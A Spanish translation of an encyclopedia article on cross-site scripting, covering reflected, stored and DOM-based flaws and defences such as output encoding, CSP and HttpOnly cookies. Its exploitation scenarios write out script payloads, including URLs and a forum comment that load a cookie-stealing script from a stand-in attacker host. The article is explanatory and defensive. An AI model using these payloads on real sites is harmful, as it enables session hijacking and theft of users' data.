Secuencias de comandos entre sitios: Cross-site scripting

"XSS" vuelve a dirigir aquí. Para otros usos, consulte XSS (desambiguación) .

Parte de una serie sobre
Seguridad de información
Incidentes de seguridad de la información por categoría, año fiscal 2014.svg
Categorías de seguridad relacionadas
Amenazas
Defensas

La secuencia de comandos entre sitios ( XSS ) es un tipo de vulnerabilidad de seguridad que se puede encontrar en algunas aplicaciones web . Los ataques XSS permiten a los atacantes inyectar scripts del lado del cliente en las páginas web que ven otros usuarios. Los atacantes pueden utilizar una vulnerabilidad de secuencias de comandos entre sitios para eludir los controles de acceso , como la política del mismo origen . Las secuencias de comandos entre sitios realizadas en sitios web representaron aproximadamente el 84% de todas las vulnerabilidades de seguridad documentadas por Symantec hasta 2007. Los efectos de XSS varían en un rango desde pequeñas molestias hasta riesgos de seguridad significativos, dependiendo de la sensibilidad de los datos manejados por el sitio vulnerable y la naturaleza de cualquier mitigación de seguridad implementada por la red propietaria del sitio .

Fondo

La seguridad en la web depende de una variedad de mecanismos, incluido un concepto subyacente de confianza conocido como política del mismo origen. Esto esencialmente establece que si el contenido de un sitio (como https://mybank.example1.com ) tiene permiso para acceder a recursos (como cookies, etc.) en un navegador web , entonces el contenido de cualquier URL con el mismo (1) El esquema de URI, (2) nombre de host y (3) número de puerto compartirán estos permisos. El contenido de las URL donde cualquiera de estos tres atributos es diferente deberá recibir permisos por separado.

Los ataques de secuencias de comandos entre sitios utilizan vulnerabilidades conocidas en aplicaciones basadas en web, sus servidores o los sistemas de complementos de los que dependen. Aprovechando uno de estos, los atacantes incorporan contenido malicioso en el contenido que se entrega desde el sitio comprometido. Cuando el contenido combinado resultante llega al navegador web del lado del cliente, todo ha sido entregado desde la fuente confiable y, por lo tanto, opera con los permisos otorgados a ese sistema. Al encontrar formas de inyectar scripts maliciosos en páginas web, un atacante puede obtener privilegios de acceso elevados al contenido sensible de la página, a las cookies de sesión y a una variedad de otra información mantenida por el navegador en nombre del usuario. Los ataques de secuencias de comandos entre sitios son un caso de inyección de código .

Los ingenieros de seguridad de Microsoft introdujeron el término "secuencias de comandos entre sitios" en enero de 2000. La expresión "secuencias de comandos entre sitios" se refería originalmente al acto de cargar la aplicación web de terceros atacada desde un sitio de ataque no relacionado, de una manera que ejecuta un fragmento de JavaScript preparado por el atacante en el contexto de seguridad del dominio objetivo (aprovechando una vulnerabilidad XSS reflejada o no persistente ). La definición se expandió gradualmente para abarcar otros modos de inyección de código, incluidos los vectores persistentes y no JavaScript (incluidos ActiveX , Java , VBScript , Flash o incluso scripts HTML ), lo que generó cierta confusión en los recién llegados al campo de la seguridad de la información .

Las vulnerabilidades XSS se han informado y explotado desde la década de 1990. Los sitios destacados afectados en el pasado incluyen los sitios de redes sociales Twitter , Facebook , MySpace , YouTube y Orkut . Desde entonces, las fallas de secuencias de comandos entre sitios han superado los desbordamientos de búfer para convertirse en la vulnerabilidad de seguridad más común informada públicamente, y algunos investigadores estimaron en 2007 que hasta el 68% de los sitios web probablemente estén abiertos a ataques XSS.

Tipos

No existe una clasificación única y estandarizada de fallas de secuencias de comandos entre sitios, pero la mayoría de los expertos distinguen entre al menos dos tipos principales de fallas XSS: no persistentes y persistentes . Algunas fuentes dividen aún más estos dos grupos en tradicionales (causados ​​por fallas en el código del lado del servidor) y basados en DOM (en el código del lado del cliente).

No persistente (reflejado)

Ejemplo de un defecto XSS no persistente

Las vulnerabilidades XSS no persistentes en Google podrían permitir que los sitios maliciosos ataquen a los usuarios de Google que los visitan mientras están conectados.

La vulnerabilidad de secuencias de comandos entre sitios no persistente (o reflejada ) es, con mucho, el tipo más básico de vulnerabilidad web. Estos agujeros aparecen cuando los datos proporcionados por un cliente web, más comúnmente en parámetros de consulta HTTP (por ejemplo, envío de formularios HTML), son utilizados inmediatamente por scripts del lado del servidor para analizar y mostrar una página de resultados para y para ese usuario, sin la debida desinfectar el contenido.

Debido a que los documentos HTML tienen una estructura en serie plana que combina declaraciones de control, formato y contenido real, cualquier dato no validado proporcionado por el usuario incluido en la página resultante sin la codificación HTML adecuada puede llevar a la inyección de marcado. Un ejemplo clásico de un vector potencial es un motor de búsqueda de sitios: si uno busca una cadena, la cadena de búsqueda normalmente se volverá a mostrar literalmente en la página de resultados para indicar lo que se buscó. Si esta respuesta no escapa o rechaza correctamente los caracteres de control HTML, se producirá un error de secuencia de comandos entre sitios.

Un ataque reflejado generalmente se envía por correo electrónico o un sitio web neutral. El cebo es una URL de apariencia inocente que apunta a un sitio confiable pero que contiene el vector XSS. Si el sitio de confianza es vulnerable al vector, hacer clic en el enlace puede hacer que el navegador de la víctima ejecute el script inyectado.

Persistente (o almacenado)

Ejemplo de un defecto XSS persistente

Una vulnerabilidad persistente de secuencias de comandos entre zonas junto con un gusano informático permitió la ejecución de código arbitrario y la lista de contenidos del sistema de archivos a través de una película QuickTime en MySpace .

La vulnerabilidad XSS persistente (o almacenada ) es una variante más devastadora de una falla de secuencia de comandos entre sitios: ocurre cuando el servidor guarda los datos proporcionados por el atacante y luego se muestran permanentemente en páginas "normales" que se devuelven a otros usuarios en el curso de la navegación regular, sin un escape HTML adecuado. Un ejemplo clásico de esto es con los foros de mensajes en línea donde los usuarios pueden publicar mensajes en formato HTML para que otros usuarios los lean.

Por ejemplo, supongamos que hay un sitio web de citas donde los miembros escanean los perfiles de otros miembros para ver si se ven interesantes. Por razones de privacidad, este sitio oculta el nombre real y el correo electrónico de todos. Estos se mantienen en secreto en el servidor. La única vez que el nombre real y el correo electrónico de un miembro están en el navegador es cuando el miembro ha iniciado sesión y no puede ver el de nadie más.

Supongamos que Mallory, un atacante, se une al sitio y quiere averiguar los nombres reales de las personas que ve en el sitio. Para ello, se escribe un guión diseñado para ejecutarse desde los navegadores de otros usuarios cuando ellos visitan su perfil. Luego, el script envía un mensaje rápido a su propio servidor, que recopila esta información.

Para hacer esto, para la pregunta "Describe tu primera cita ideal", Mallory da una respuesta corta (para parecer normal) pero el texto al final de su respuesta es su guión para robar nombres y correos electrónicos. Si la secuencia de comandos está incluida dentro de un <script>elemento, no se mostrará en la pantalla. Luego suponga que Bob, un miembro del sitio de citas, llega al perfil de Mallory, que tiene su respuesta a la pregunta de la Primera cita. Su script lo ejecuta automáticamente el navegador y roba una copia del nombre real y el correo electrónico de Bob directamente desde su propia máquina.

Las vulnerabilidades persistentes de XSS pueden ser más importantes que otros tipos porque la secuencia de comandos maliciosa de un atacante se procesa automáticamente, sin la necesidad de apuntar individualmente a las víctimas o atraerlas a un sitio web de terceros. Particularmente en el caso de los sitios de redes sociales, el código estaría diseñado para autopropagarse entre cuentas, creando un tipo de gusano en el lado del cliente .

Los métodos de inyección pueden variar mucho; en algunos casos, es posible que el atacante ni siquiera necesite interactuar directamente con la funcionalidad web para explotar ese agujero. Cualquier dato recibido por la aplicación web (a través de correo electrónico, registros del sistema, mensajería instantánea, etc.) que pueda ser controlado por un atacante podría convertirse en un vector de inyección.

Vulnerabilidades del lado del servidor versus las basadas en DOM

Ejemplo de una falla XSS basada en DOM

Antes de que se resolviera el error, las páginas de error de Bugzilla estaban abiertas a ataques XSS basados ​​en DOM en los que se podían inyectar código HTML y scripts arbitrarios mediante mensajes de error forzados.

Las vulnerabilidades XSS se encontraron originalmente en aplicaciones que realizaban todo el procesamiento de datos en el lado del servidor. La entrada del usuario (incluido un vector XSS) se enviaría al servidor y luego se enviaría de vuelta al usuario como una página web. La necesidad de una experiencia de usuario mejorada resultó en la popularidad de aplicaciones que tenían la mayoría de la lógica de presentación (tal vez escrita en JavaScript ) trabajando en el lado del cliente que extraían datos, bajo demanda, del servidor usando AJAX .

Como el código JavaScript también procesaba la entrada del usuario y la mostraba en el contenido de la página web, comenzó a aparecer una nueva subclase de ataques XSS reflejados que se denominó scripting entre sitios basados ​​en DOM . En un ataque XSS basado en DOM, los datos maliciosos no tocan el servidor web. Más bien, se refleja en el código JavaScript, completamente en el lado del cliente.

Un ejemplo de una vulnerabilidad XSS basada en DOM es el error encontrado en 2011 en varios complementos de jQuery . Las estrategias de prevención de ataques XSS basados ​​en DOM incluyen medidas muy similares a las estrategias de prevención XSS tradicionales, pero implementadas en código JavaScript y contenidas en páginas web (es decir, validación de entrada y escape). Algunos marcos de JavaScript tienen contramedidas integradas contra este y otros tipos de ataque, por ejemplo AngularJS .

Self-XSS

Self-XSS es una forma de vulnerabilidad XSS que se basa en la ingeniería social para engañar a la víctima para que ejecute código JavaScript malicioso en su navegador. Aunque técnicamente no es una verdadera vulnerabilidad XSS debido al hecho de que se basa en la ingeniería social de un usuario para que ejecute código en lugar de una falla en el sitio web afectado que permita a un atacante hacerlo, aún presenta los mismos riesgos que una vulnerabilidad XSS normal si ejecutado correctamente.

XSS mutado (mXSS)

XSS mutado ocurre cuando el atacante inyecta algo que aparentemente es seguro, pero el navegador lo reescribe y modifica mientras analiza el marcado. Esto hace que sea extremadamente difícil de detectar o desinfectar dentro de la lógica de la aplicación del sitio web. Un ejemplo es reequilibrar las comillas sin cerrar o incluso agregar comillas a los parámetros sin comillas en los parámetros de la familia de fuentes CSS.

Ejemplos de explotación

Los atacantes que pretendan explotar las vulnerabilidades de secuencias de comandos entre sitios deben abordar cada clase de vulnerabilidad de manera diferente. Para cada clase, aquí se describe un vector de ataque específico. Los nombres a continuación son términos técnicos, tomados del elenco de personajes de Alice y Bob que se usan comúnmente en la seguridad informática.

El marco de explotación del navegador podría utilizarse para atacar el sitio web y el entorno local del usuario.

No persistente

  1. Alice visita a menudo un sitio web en particular, alojado por Bob. El sitio web de Bob le permite a Alice iniciar sesión con un par de nombre de usuario / contraseña y almacena datos confidenciales, como información de facturación. Cuando un usuario inicia sesión, el navegador conserva una cookie de autorización, que se parece a algunos caracteres aleatorios, por lo que ambas computadoras (cliente y servidor) tienen un registro de que ella inició sesión.
  2. Mallory observa que el sitio web de Bob contiene una vulnerabilidad XSS reflejada:
    1. Cuando visita la página de búsqueda, ingresa un término de búsqueda en el cuadro de búsqueda y hace clic en el botón enviar. Si no se encontraron resultados, la página mostrará el término que buscó seguido de las palabras "no encontrado" y la URL será http://bobssite.org/search?q=her%20search%20term.
    2. Con una consulta de búsqueda normal, como la palabra " cachorros ", la página simplemente muestra " cachorros no encontrados" y la URL es "http://bobssite.org/search ? Q = cachorros ", que es un comportamiento perfectamente normal.
    3. Sin embargo, cuando envía una consulta de búsqueda anormal, como " ", <script>alert('xss');</script>
      1. Aparece un cuadro de alerta (que dice "xss").
      2. La página muestra "no encontrado", junto con un mensaje de error con el texto 'xss'.
      3. La URL es " , que es un comportamiento explotable.http://bobssite.org/search?q=<script>alert('xss');</script>
  3. Mallory crea una URL para explotar la vulnerabilidad:
    1. Ella crea la URL . Podría optar por codificar los caracteres ASCII con codificación porcentual , por ejemplo , para que los lectores humanos no puedan descifrar inmediatamente la URL maliciosa.http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>http://bobssite.org/search?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
    2. Ella envía un correo electrónico a algunos miembros desprevenidos del sitio de Bob, diciendo "¡Miren algunos cachorros lindos!"
  4. Alice recibe el correo electrónico. Le encantan los cachorros y hace clic en el enlace. Va al sitio web de Bob para buscar, no encuentra nada y muestra "cachorros no encontrados", pero justo en el medio, la etiqueta de secuencia de comandos se ejecuta (es invisible en la pantalla) y carga y ejecuta el programa authstealer.js de Mallory (activando el ataque XSS). Alice se olvida de eso.
  5. El programa authstealer.js se ejecuta en el navegador de Alice como si se hubiera originado en el sitio web de Bob. Toma una copia de la cookie de autorización de Alice y la envía al servidor de Mallory, donde Mallory la recupera.
  6. Mallory ahora coloca la cookie de autorización de Alice en su navegador como si fuera el suyo. Luego va al sitio de Bob y ahora inicia sesión como Alice.
  7. Ahora que está dentro, Mallory va a la sección de Facturación del sitio web, busca el número de la tarjeta de crédito de Alice y toma una copia. Luego va y cambia su contraseña para que Alice no pueda iniciar sesión más.
  8. Decide dar un paso más y envía un enlace diseñado de manera similar al mismo Bob, obteniendo así privilegios de administrador en el sitio web de Bob.

Se podrían haber hecho varias cosas para mitigar este ataque:

  1. La entrada de búsqueda podría haberse desinfectado , lo que incluiría una verificación de codificación adecuada.
  2. El servidor web podría configurarse para redirigir solicitudes no válidas.
  3. El servidor web podría detectar un inicio de sesión simultáneo e invalidar las sesiones.
  4. El servidor web podría detectar un inicio de sesión simultáneo desde dos direcciones IP diferentes e invalidar las sesiones.
  5. El sitio web solo puede mostrar los últimos dígitos de una tarjeta de crédito utilizada anteriormente.
  6. El sitio web podría requerir que los usuarios ingresen sus contraseñas nuevamente antes de cambiar su información de registro.
  7. El sitio web podría promulgar varios aspectos de la Política de seguridad del contenido .
  8. Configure una cookie con una HttpOnlybandera para evitar el acceso desde JavaScript.

Ataque persistente

  1. Mallory obtiene una cuenta en el sitio web de Bob.
  2. Mallory observa que el sitio web de Bob contiene una vulnerabilidad XSS almacenada: si uno va a la sección Noticias y publica un comentario, el sitio mostrará lo que se ingrese. Si el texto del comentario contiene etiquetas HTML, se agregarán a la fuente de la página web; en particular, cualquier etiqueta de secuencia de comandos se ejecutará cuando se cargue la página.
  3. Mallory lee un artículo en la sección de Noticias e ingresa un comentario:
    I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
  4. Cuando Alice (o cualquier otra persona) carga la página con el comentario, la etiqueta de secuencia de comandos de Mallory se ejecuta y roba la cookie de autorización de Alice, enviándola al servidor secreto de Mallory para su recopilación.
  5. Mallory ahora puede secuestrar la sesión de Alice y hacerse pasar por Alice.

El software del sitio web de Bob debería haber eliminado la etiqueta de secuencia de comandos o haber hecho algo para asegurarse de que no funcionara; el error de seguridad consiste en que no lo hizo.

Medidas preventivas

Codificación de salida contextual / escape de entrada de cadena

La codificación / escape de salida contextual podría usarse como el mecanismo de defensa principal para detener los ataques XSS. Hay varios esquemas de escape que se pueden usar dependiendo de dónde se debe colocar la cadena que no es de confianza dentro de un documento HTML, incluida la codificación de entidad HTML, el escape de JavaScript, el escape de CSS y la codificación de URL (o porcentaje) . La mayoría de las aplicaciones web que no necesitan aceptar datos enriquecidos pueden utilizar el escape para eliminar en gran medida el riesgo de ataques XSS de una manera bastante sencilla.

Aunque se recomienda ampliamente, realizar la codificación de entidades HTML solo en los cinco caracteres XML significativos no siempre es suficiente para prevenir muchas formas de ataques XSS. Como la codificación suele ser difícil, las bibliotecas de codificación de seguridad suelen ser más fáciles de usar.

Algunos sistemas de plantillas web comprenden la estructura del HTML que producen y eligen automáticamente un codificador apropiado. Sin embargo, incluso con un sistema de plantilla, es esencial no colocar datos que no sean de confianza en atributos sin comillas, atributos HREF de hipervínculos, controladores de eventos DOM en línea u otros contextos similares donde la ejecución de scripts es directamente posible.

Validar de forma segura la entrada HTML que no es de confianza

Muchos operadores de aplicaciones web particulares (por ejemplo, foros y correo web) permiten a los usuarios utilizar un subconjunto limitado de marcado HTML. Al aceptar la entrada HTML de los usuarios (por ejemplo, <b>very</b> large), la codificación de salida (como &lt;b&gt;very&lt;/b&gt; large) no será suficiente, ya que el navegador debe representar la entrada del usuario como HTML (por lo que se muestra como " muy grande", en lugar de "<b> muy </b> grande "). Detener un ataque XSS cuando se aceptan entradas HTML de los usuarios es mucho más complejo en esta situación. La entrada HTML que no sea de confianza debe ejecutarse a través de un motor de desinfección HTML para garantizar que no contenga código XSS.

Muchas validaciones se basan en analizar (poner en lista negra) etiquetas HTML específicas "en riesgo", como las siguientes

<script> <link> <iframe>

Hay varios problemas con este enfoque, por ejemplo, a veces se pueden omitir etiquetas aparentemente inofensivas que, cuando se utilizan correctamente, pueden dar como resultado un XSS.

(ver el siguiente ejemplo) 

<img src="javascript:alert(1)">

Otro método popular es quitar la entrada del usuario de "y", sin embargo, esto también se puede omitir ya que la carga útil se puede ocultar con ofuscación (consulte este enlace [1] para ver un ejemplo extremo de esto)

Seguridad de las cookies

Además del filtrado de contenido, también se utilizan comúnmente otros métodos imperfectos para la mitigación de secuencias de comandos entre sitios. Un ejemplo es el uso de controles de seguridad adicionales al manejar la autenticación de usuarios basada en cookies . Muchas aplicaciones web dependen de las cookies de sesión para la autenticación entre solicitudes HTTP individuales, y debido a que los scripts del lado del cliente generalmente tienen acceso a estas cookies, los exploits XSS simples pueden robar estas cookies. Para mitigar esta amenaza en particular (aunque no el problema XSS en general), muchas aplicaciones web vinculan las cookies de sesión a la dirección IP del usuario que inició sesión originalmente, y luego solo permiten que esa IP use esa cookie. Esto es efectivo en la mayoría de las situaciones (si un atacante solo busca la cookie), pero obviamente falla en situaciones en las que un atacante está detrás de la misma dirección IP NAT o proxy web que la víctima, o la víctima está cambiando su IP móvil. .

Otra mitigación presente en Internet Explorer (desde la versión 6), Firefox (desde la versión 2.0.0.5), Safari (desde la versión 4), Opera (desde la versión 9.5) y Google Chrome , es una marca HttpOnly que permite a un servidor web establecer un cookie que no está disponible para los scripts del lado del cliente. Si bien es beneficiosa, la función no puede evitar por completo el robo de cookies ni los ataques dentro del navegador.

Deshabilitar scripts

Si bien los desarrolladores de Web 2.0 y Ajax requieren el uso de JavaScript, algunas aplicaciones web están escritas para permitir el funcionamiento sin la necesidad de ningún script del lado del cliente. Esto permite a los usuarios, si así lo desean, deshabilitar las secuencias de comandos en sus navegadores antes de usar la aplicación. De esta manera, incluso los scripts del lado del cliente potencialmente maliciosos podrían insertarse sin escapar en una página, y los usuarios no serían susceptibles a los ataques XSS.

Algunos navegadores o complementos de navegador se pueden configurar para deshabilitar los scripts del lado del cliente por dominio. Este enfoque tiene un valor limitado si la secuencia de comandos está permitida de forma predeterminada, ya que bloquea los sitios defectuosos solo después de que el usuario sabe que son malos, lo cual es demasiado tarde. La funcionalidad que bloquea todas las secuencias de comandos y las inclusiones externas de forma predeterminada y luego permite que el usuario las habilite por dominio es más eficaz. Esto ha sido posible durante mucho tiempo en Internet Explorer (desde la versión 4) configurando sus llamadas "Zonas de seguridad", y en Opera (desde la versión 9) usando sus "Preferencias específicas del sitio". Una solución para Firefox y otros navegadores basados ​​en Gecko es el complemento NoScript de código abierto que, además de la capacidad de habilitar scripts por dominio, proporciona cierta protección XSS incluso cuando los scripts están habilitados.

El problema más importante con el bloqueo de todos los scripts en todos los sitios web de forma predeterminada es la reducción sustancial en la funcionalidad y la capacidad de respuesta (el scripting del lado del cliente puede ser mucho más rápido que el del lado del servidor porque no necesita conectarse a un servidor remoto y la página o marco no necesita recargarse). Otro problema con el bloqueo de scripts es que muchos usuarios no lo entienden y no saben cómo proteger adecuadamente sus navegadores. Otro inconveniente más es que muchos sitios no funcionan sin secuencias de comandos del lado del cliente, lo que obliga a los usuarios a deshabilitar la protección para ese sitio y abre sus sistemas a vulnerabilidades. La extensión Firefox NoScript permite a los usuarios permitir scripts de forma selectiva desde una página determinada y no permitir otros en la misma página. Por ejemplo, se podrían permitir los scripts de example.com, mientras que los scripts de Advertisingagency.com que intentan ejecutarse en la misma página podrían no estar permitidos.

Desactivación selectiva de scripts

Content-Security-Policy (CSP) permite a los documentos HTML optar por deshabilitar algunos scripts y dejar otros habilitados. El navegador comprueba cada secuencia de comandos con una política antes de decidir si ejecutarla. Siempre que la política solo permita scripts confiables y no permita la carga de código dinámico , el navegador no ejecutará programas de autores que no sean de confianza, independientemente de la estructura del documento HTML.

Esto traslada la carga de seguridad a los autores de políticas. Los estudios han arrojado dudas sobre la eficacia de las políticas basadas en listas blancas de hosts.

En total, encontramos que el 94,68% de las políticas que intentan limitar la ejecución de scripts son ineficaces y que el 99,34% de los hosts con CSP utilizan políticas que no ofrecen ningún beneficio frente a XSS.

Las políticas de CSP modernas permiten usar nonces para marcar los scripts en el documento HTML como seguros de ejecutar en lugar de mantener la política completamente separada del contenido de la página. Siempre que los nonces confiables solo aparezcan en scripts confiables, el navegador no ejecutará programas de autores que no sean de confianza. Algunos grandes proveedores de aplicaciones informan haber implementado con éxito políticas basadas en nonce.

Tecnologías defensivas emergentes

La popularidad de los marcos del lado del cliente ha cambiado la forma en que los atacantes crean XSS.

Los gadgets de script son fragmentos legítimos de JavaScript dentro del código base legítimo de una aplicación ... Demostramos que estos gadgets están omnipresentes en casi todos los marcos de JavaScript modernos y presentamos un estudio empírico que muestra la prevalencia de los gadgets de script en el código productivo. Como resultado, asumimos que la mayoría de las técnicas de mitigación en las aplicaciones web escritas hoy en día se pueden omitir.

Los tipos de confianza cambian las API web para comprobar que los valores se hayan registrado como de confianza. Siempre que los programas solo marquen valores confiables, un atacante que controle un valor de cadena de JavaScript no puede causar XSS. Los tipos de confianza están diseñados para ser auditados por equipos azules .

Otro enfoque de defensa es utilizar herramientas automatizadas que eliminarán el código malicioso XSS en las páginas web; estas herramientas utilizan métodos de análisis estático y / o coincidencia de patrones para identificar códigos maliciosos potencialmente y protegerlos mediante métodos como el escape.

Parámetro de cookie SameSite

Cuando una cookie se configura con el parámetro SameSite = Strict, se elimina de todas las solicitudes de origen cruzado. Cuando se establece con SameSite = Lax, se elimina de todas las solicitudes de origen cruzado no "seguras" (es decir, solicitudes distintas de GET, OPTIONS y TRACE que tienen semántica de solo lectura). La función está implementada en Google Chrome desde la versión 63 y Firefox desde la versión 60.

Vulnerabilidades relacionadas

En un ataque de Universal Cross-Site Scripting ( UXSS o Universal XSS ), se explotan las vulnerabilidades en el propio navegador o en los complementos del navegador (en lugar de las vulnerabilidades en otros sitios web, como es el caso de los ataques XSS).

Varias clases de vulnerabilidades o técnicas de ataque están relacionadas con XSS: la secuencia de comandos entre zonas explota los conceptos de "zona" en ciertos navegadores y generalmente ejecuta código con un mayor privilegio. La inyección de encabezados HTTP se puede utilizar para crear condiciones de secuencias de comandos entre sitios debido a problemas de escape en el nivel del protocolo HTTP (además de permitir ataques como la división de respuestas HTTP ).

La falsificación de solicitudes entre sitios (CSRF / XSRF) es casi lo contrario de XSS, ya que en lugar de explotar la confianza del usuario en un sitio, el atacante (y su página maliciosa) explota la confianza del sitio en el software del cliente, enviando solicitudes que el El sitio cree que representan acciones conscientes e intencionales de usuarios autenticados. Las vulnerabilidades XSS (incluso en otras aplicaciones que se ejecutan en el mismo dominio) permiten a los atacantes eludir los esfuerzos de prevención de CSRF.

La redirección encubierta se aprovecha de los clientes de terceros susceptibles a ataques XSS o Open Redirect. Los intentos normales de phishing pueden ser fáciles de detectar, porque la URL de la página maliciosa generalmente estará desviada por un par de letras de la del sitio real. La diferencia con la redirección encubierta es que un atacante podría usar el sitio web real corrompiendo el sitio con un cuadro de diálogo emergente de inicio de sesión malicioso.

Por último, la inyección de SQL aprovecha una vulnerabilidad en la capa de base de datos de una aplicación. Cuando la entrada del usuario se filtra incorrectamente, la aplicación puede ejecutar cualquier instrucción SQL.

Los XSS específicos que afectan a una versión determinada de un navegador web tienden a ser únicos. En consecuencia, es posible utilizar XSS para realizar huellas dactilares del proveedor del navegador y la versión de un usuario.

Ver también

Referencias

Otras lecturas

enlaces externos